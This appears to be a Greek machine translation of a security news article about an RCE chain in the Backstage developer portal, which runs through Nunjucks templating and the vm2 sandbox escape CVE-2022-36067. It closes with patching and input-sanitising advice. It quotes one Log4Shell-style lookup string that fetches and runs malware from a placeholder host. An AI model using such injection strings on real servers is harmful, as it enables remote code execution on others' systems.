Τρύπα εκτέλεσης κώδικα που μοιάζει με Log4Shell στο δημοφιλές εργαλείο ανάπτυξης Backstage PlatoBlockchain Data Intelligence. Κάθετη αναζήτηση. Ολα συμπεριλαμβάνονται.

Τρύπα εκτέλεσης κώδικα που μοιάζει με Log4Shell στο δημοφιλές εργαλείο προγραμματισμού Backstage

Ερευνητές της εταιρείας ασφαλείας κωδικοποίησης cloud Oxeye έχουν γράψει ένα κρίσιμο σφάλμα που ανακάλυψαν πρόσφατα στη δημοφιλή εργαλειοθήκη ανάπτυξης cloud Backstage.

Τους αναφέρουν περιλαμβάνει μια εξήγηση του τρόπου λειτουργίας του σφάλματος, καθώς και κώδικα απόδειξης ιδέας (PoC) που δείχνει πώς να το εκμεταλλευτείτε.

Το Backstage είναι αυτό που είναι γνωστό ως πύλη προγραμματιστών cloud – ένα είδος επιχειρηματικής λογικής υποστήριξης που διευκολύνει τη δημιουργία web-based API (διεπαφές προγραμματισμού εφαρμογών) που επιτρέπουν στους κωδικοποιητές εντός και εκτός της επιχείρησής σας να αλληλεπιδρούν με τις διαδικτυακές υπηρεσίες σας.

Σύμφωνα με τα λόγια του ίδιου του έργου, που δημιουργήθηκε αρχικά στο Spotify αλλά τώρα ανοιχτού κώδικα στο GutHub:

Το Backstage είναι μια ανοιχτή πλατφόρμα για τη δημιουργία πυλών προγραμματιστών. Με την υποστήριξη ενός κεντρικού καταλόγου λογισμικού, το Backstage αποκαθιστά την τάξη στις μικροϋπηρεσίες και την υποδομή σας και επιτρέπει στις ομάδες προϊόντων σας να αποστέλλουν γρήγορα κώδικα υψηλής ποιότητας — χωρίς να διακυβεύεται η αυτονομία.

Το Backstage ενοποιεί όλα τα εργαλεία, τις υπηρεσίες και την τεκμηρίωση της υποδομής σας για να δημιουργήσει ένα βελτιωμένο περιβάλλον ανάπτυξης από άκρη σε άκρη.

Όχι, δεν ξέρουμε πραγματικά τι σημαίνει αυτό, αλλά γνωρίζουμε ότι η εργαλειοθήκη είναι γραμμένη σε JavaScript και εκτελείται χρησιμοποιώντας το σύστημα JavaScript από την πλευρά του διακομιστή node.js, και αντλεί έναν ιστό εξαρτήσεων εφοδιαστικής αλυσίδας από το οικοσύστημα NPM.

Το NPM είναι σύντομο για Διαχειριστής πακέτων κόμβων, μια αυτοματοποιημένη εργαλειοθήκη για τη διασφάλιση ότι ο κώδικας JavaScript του back-end σας μπορεί εύκολα να χρησιμοποιήσει ένα ευρύ φάσμα βιβλιοθηκών ανοιχτού κώδικα που παρέχουν δημοφιλή, προγραμμένα βοηθητικά εργαλεία για τα πάντα, από κρυπτογραφία και διαχείριση βάσης δεδομένων έως καταγραφή και έλεγχο έκδοσης.

Απομακρυσμένη εκτέλεση κώδικα

Δυστυχώς, το σφάλμα που αποκαλύφθηκε σήμερα, εάν δεν επιδιορθωθεί, θα μπορούσε να δώσει σε μη επαληθευμένους ξένους (χαλαρά, οποιονδήποτε μπορεί να κάνει συνδέσεις API στους διακομιστές σας) έναν τρόπο να ενεργοποιήσει την απομακρυσμένη εκτέλεση κώδικα (RCE) μέσα στους διακομιστές επιχειρηματικής λογικής στο δίκτυό σας.

Ευτυχώς, ωστόσο, αν έχουμε ερμηνεύσει σωστά την εγγραφή του Oxeye, η επίθεση που περιγράφουν για το Backstage RCE τους εξαρτάται από μια σειρά ελαττωμάτων κωδικοποίησης που τελικά εξαρτώνται από ένα συγκεκριμένο σφάλμα, που ορίζεται CVE-2022-36067 σε ένα στοιχείο εφοδιαστικής αλυσίδας στο οποίο βασίζεται το Backstage που ονομάζεται vm2.

Σε περίπτωση που αναρωτιέστε, το vm2 είναι μια λειτουργική μονάδα NPM γενικής χρήσης που υλοποιεί ένα "virtual machine sandbox" που στοχεύει να κάνει το δυνητικά επικίνδυνο JavaScript λίγο πιο ασφαλές για εκτέλεση στους διακομιστές σας.

Αυτό το σφάλμα CVE-2022-36067 στο vm2 ήταν αναφερθεί τον Αύγουστο του 2022 από την ίδια την Oxeye (που της έδωσε ένα φιλικό προς τις δημοσιογραφικές σχέσεις όνομα "Sandbreak", επειδή ξέσπασε από το sandbox) και επιδιορθώθηκε αμέσως από την ομάδα vm2 πριν από σχεδόν τρεις μήνες.

Έτσι, από όσο μπορούμε να δούμε, εάν είστε χρήστης του Backstage, θα θέλετε να βεβαιωθείτε ότι έχετε επιδιορθώσει όλα τα στοιχεία που κινδυνεύουν στη ρύθμιση του Backstage…

…αλλά αν επιδιορθώσατε το στοιχείο vm2 που ήταν ευάλωτο στο Sandbreak πριν από όλους αυτούς τους μήνες, τότε φαίνεται ότι δεν είστε άμεσα ευάλωτοι στο exploit που περιγράφεται στην τελευταία αποκάλυψη της Oxeye.

Επίσης, εάν οι διακομιστές σας στο Backstage έχουν διαμορφωθεί όπως προτείνουν οι καλές κατευθυντήριες γραμμές για την ασφάλεια στον κυβερνοχώρο, με έλεγχο ταυτότητας που απαιτείται τόσο στην άκρη του δικτύου όσο και εντός του δικτύου, δεν θα κινδυνεύετε από τυχαίες διερευνήσεις «μόνο για ερευνητές» από «χρήσιμα» άτομα που προσδιορίζονται να δείξουν ότι ενδιαφέρονται για την «έρευνα» απειλών στον κυβερνοχώρο.

Μια επίθεση «τυρί Emmenthal».

Με απλά λόγια, τα προβλήματα ασφαλείας που αποκαλύφθηκαν πρόσφατα είναι η παρενέργεια μιας σειράς ζητημάτων ασφαλείας, όπως οι τρύπες σε φέτες τυριού Emmenthal που θα μπορούσαν να διαπερνούν διαδοχικά εάν ένας εισβολέας είναι σε θέση να παρατάξει τουλάχιστον μία τρύπα σε κάθε φέτα.

Όπως καταλαβαίνουμε, το Backstage περιλαμβάνει ένα στοιχείο που ονομάζεται Scaffolder, το οποίο, όπως υποδηλώνει το όνομα, σας βοηθά να διαχειριστείτε τα διάφορα πρόσθετα (γνωστά ως πρόσθετα) που μπορεί να θέλει ή να χρειάζεται η κοινότητα προγραμματιστών σας.

Το Scaffolder, με τη σειρά του, χρησιμοποιεί ένα σύστημα καταγραφής μηνυμάτων από τη Mozilla, γνωστό ως Nunjucks, το οποίο περιλαμβάνει αυτό που είναι γνωστό ως πρότυπο συμβολοσειράς in node.js κύκλοι, όπως παρεμβολή συμβολοσειρών στον κόσμο της Java, και ως αντικατάσταση χορδής σε sysadmin που χρησιμοποιούν κελύφη εντολών όπως το Bash.

Εάν η παρεμβολή χορδών χτυπά ένα κουδούνι, είναι πιθανώς επειδή βρισκόταν στην καρδιά του Log4Shell ευπάθεια τον Δεκέμβριο του 2021 και του Follina σφάλμα στα μέσα του 2022.

Είναι το σημείο όπου μπορείτε να ξαναγράψετε τα περιεχόμενα ενός μηνύματος καταγραφής που βασίζεται σε ειδικούς «χαρακτήρες κωδικοποίησης» σε ένα πρότυπο συμβολοσειράς, έτσι ώστε μια συμβολοσειρά όπως π.χ. $USER μπορεί να αντικατασταθεί με το όνομα λογαριασμού που χρησιμοποιείται από τον διακομιστή ή ${PID} ενδέχεται να ανακτήσει το τρέχον αναγνωριστικό διαδικασίας.

Στην ακραία περίπτωση του Log4Shell, της περίεργης εμφάνισης μαγική ${jndi:ldap://example.com:8888/malware} θα μπορούσε να ξεγελάσει απευθείας τον διακομιστή ώστε να κατεβάσει ένα πρόγραμμα που ονομάζεται malware από example.com και το τρέχει σιωπηλά στο παρασκήνιο.

Με άλλα λόγια, πρέπει να είστε απολύτως βέβαιοι ότι τα δεδομένα που προέρχονται από μια μη αξιόπιστη πηγή, όπως ένας εξωτερικός χρήστης, δεν μεταβιβάζονται ποτέ στα τυφλά σε ένα πρότυπο συμβολοσειράς ή μια συνάρτηση παρεμβολής συμβολοσειράς που θα χρησιμοποιηθεί ως το ίδιο το κείμενο του προτύπου.

Εάν ένας απομακρυσμένος χρήστης, για παράδειγμα, προσπαθήσει να ξεγελάσει τον διακομιστή σας δίνοντας το όνομα χρήστη ως ${{RISKY}} (υποθέτοντας ότι η βιβλιοθήκη προτύπων χρησιμοποιεί ${{...}} ως ειδικός δείκτης), πρέπει να βεβαιωθείτε ότι ο κωδικός καταγραφής σας θα καταγράψει σωστά αυτό το άτακτο κείμενο κυριολεκτικά όπως ελήφθη…

…αντί να επιτρέπεται στο κείμενο που καταγράφεται να έχει τον έλεγχο της ίδιας της λειτουργίας καταγραφής!

Σύμφωνα με τα λόγια μιας παλιάς ομοιοκαταληξίας, πρέπει να βεβαιωθείτε ότι δεν θα καταλήξετε να τραγουδήσετε, «Υπάρχει μια τρύπα στο μου ${{BUCKET}}, αγαπητή Λίζα, αγαπητή Λίζα, υπάρχει μια τρύπα στο δικό μου ${{BUCKET}}, αγαπητή Λίζα. Μια τρύπα!"

Τυλιγμένο σε κουβέρτα ασφαλείας

Για να είμαστε δίκαιοι, η ίσως πολύ ισχυρή λειτουργικότητα templating/interpolation του Nunjucks είναι τυλιγμένη από το Backstage μέσα σε ένα ακόμη στοιχείο εφοδιαστικής αλυσίδας, συγκεκριμένα το προαναφερθέν σύστημα sandboxing vm2, το οποίο υποτίθεται ότι περιορίζει τον κίνδυνο που θα μπορούσε να κάνει ένας κακόβουλος χρήστης με το booby - παγιδευμένα δεδομένα εισόδου.

Δυστυχώς, οι ερευνητές της Oxeye μπόρεσαν να αντιστοιχίσουν τις πρόσφατα ανακαλυφθείσες διαδρομές ενεργοποίησης κώδικα συμβολοσειρών στο Backstage + Scaffolder + Nunjucks με την παλαιότερη ευπάθεια CVE-2022-36067 στο περιτύλιγμα ασφαλείας vm2, προκειμένου να επιτύχουν πιθανή απομακρυσμένη εκτέλεση κώδικα σε διακομιστή Backstage .

Τι να κάνω;

Εάν είστε χρήστης του Backstage:

  • Βεβαιωθείτε ότι έχετε τις πιο πρόσφατες εκδόσεις του Backstage και τις εξαρτήσεις του, συμπεριλαμβανομένης της plugin-scaffolder-backend συστατικό. Σύμφωνα με την Oxeye, τα σχετικά σφάλματα στον κώδικα του Backstage διορθώθηκαν έως την 01η Σεπτεμβρίου 2022, έτσι ώστε οποιαδήποτε επίσημη έκδοση σημείων μετά από αυτά τα δεδομένα θα πρέπει να περιλαμβάνει τις διορθώσεις. Τη στιγμή της γραφής [2022-11-1T16:00Z], περιλαμβάνει το Backstage 1.6.0, 1.7.0 και 1.8.0, που κυκλοφόρησε στις 2022-09-21, 2022-10-18 και 2022-11-15 αντίστοιχα.
  • Βεβαιωθείτε ότι η εγκατάσταση του Backstage έχει διαμορφώσει τον έλεγχο ταυτότητας όπως αναμένετε. Η Oxeye ισχυρίζεται ότι ο έλεγχος ταυτότητας είναι απενεργοποιημένος από προεπιλογή και ότι αφού ακολουθήσει το Οδηγίες στα παρασκήνια, οι διακομιστές υποστήριξης (οι οποίοι ούτως ή άλλως πιθανώς δεν υποτίθεται ότι εκτίθενται εξωτερικά) εξακολουθούν να επιτρέπεται η πρόσβαση χωρίς έλεγχο ταυτότητας. Αυτό μπορεί να είναι αυτό που θέλετε, αλλά συνιστούμε να χρησιμοποιήσετε αυτό το ζήτημα ως λόγο για να ελέγξετε ότι η ρύθμισή σας ταιριάζει με τις προθέσεις σας.
  • Ελέγξτε ποια μέρη της υποδομής σας στο Backstage είναι προσβάσιμα από το Διαδίκτυο. Για άλλη μια φορά, χρησιμοποιήστε αυτό το ζήτημα ως λόγο για να σαρώσετε το δικό σας δίκτυο από έξω, εάν δεν το κάνατε πρόσφατα.

Εάν είστε χρήστης node.js/NPM:

  • Βεβαιωθείτε ότι διαθέτετε την πιο πρόσφατη έκδοση του στοιχείου sandbox vm2. Μπορεί να το έχετε εγκαταστήσει ως εξάρτηση από άλλο λογισμικό που χρησιμοποιείτε, ακόμα κι αν δεν έχετε Backstage. Η ευπάθεια CVE-2022-36067 επιδιορθώθηκε στις 2022-08-28, επομένως θέλετε την έκδοση vm2 3.9.11 ή αργότερα.

Εάν είστε προγραμματιστής:

  • Να είστε όσο πιο αμυντικοί μπορείτε όταν καλείτε ισχυρές λειτουργίες καταγραφής. Εάν χρησιμοποιείτε μια υπηρεσία καταγραφής (συμπεριλαμβανομένου του Nunjucks ή του Log4J) που περιλαμβάνει ισχυρές λειτουργίες προτύπων/παρεμβολής, απενεργοποιήστε τυχόν λειτουργίες που δεν χρειάζεστε, ώστε να μην είναι δυνατή η κατά λάθος εκμετάλλευση τους. Βεβαιωθείτε ότι η μη αξιόπιστη είσοδος δεν χρησιμοποιείται ποτέ ως πρότυπο, αποτρέποντας έτσι τους εισβολείς από το να μεταφέρουν τις δικές τους άμεσα επικίνδυνες συμβολοσειρές εισόδου.
  • Ανεξάρτητα από τυχόν άλλες προφυλάξεις που έχετε λάβει, απολυμάνετε τις εισόδους και τις εξόδους καταγραφής σας. Θυμηθείτε ότι κάποιος άλλος θα χρειαστεί να ανοίξει τα αρχεία καταγραφής σας στο μέλλον. Μην επιτρέψετε σε τυχόν ακούσιες παγίδες να γραφτούν στο αρχείο καταγραφής σας, όπου θα μπορούσαν να προκαλέσουν προβλήματα αργότερα, όπως θραύσματα HTML με ετικέτες σεναρίου. (Κάποιος μπορεί να ανοίξει το αρχείο σε ένα πρόγραμμα περιήγησης κατά λάθος.)

Ακόμη και όταν λαμβάνετε στοιχεία από μια αξιόπιστη πηγή, σπάνια υπάρχει λόγος να μην τα υποβάλετε στους δικούς σας ελέγχους απολύμανσης πριν τη χρησιμοποιήσετε.

(Μπορεί περιστασιακά να δικαιολογήσετε μια εξαίρεση, για παράδειγμα για λόγους απόδοσης, αλλά θα πρέπει να είναι εξαίρεση και όχι κανόνας.)

Πρώτον, ο ξανά έλεγχος σάς βοηθά να εντοπίσετε λάθη που μπορεί να έχουν κάνει καλόπιστα οι προηγούμενοι κωδικοποιητές. Δεύτερον, βοηθά στον περιορισμό της διάδοσης κακών ή παγιδευμένων δεδομένων, εάν κάποιο άλλο τμήμα του οικοσυστήματος σας τεθεί σε κίνδυνο.

Το θέμα με αυτές τις φέτες τυριού Emmenthal που αναφέραμε νωρίτερα είναι ότι αν και είναι διαπερατές, αν τουλάχιστον μια τρύπα ευθυγραμμίζεται σε κάθε φύλλο…

…είναι αδιαπέραστα αν υπάρχει τουλάχιστον ένα φύλλο με τρύπες που δεν ευθυγραμμίζονται καθόλου!


Σφραγίδα ώρας:

Περισσότερα από Γυμνή ασφάλεια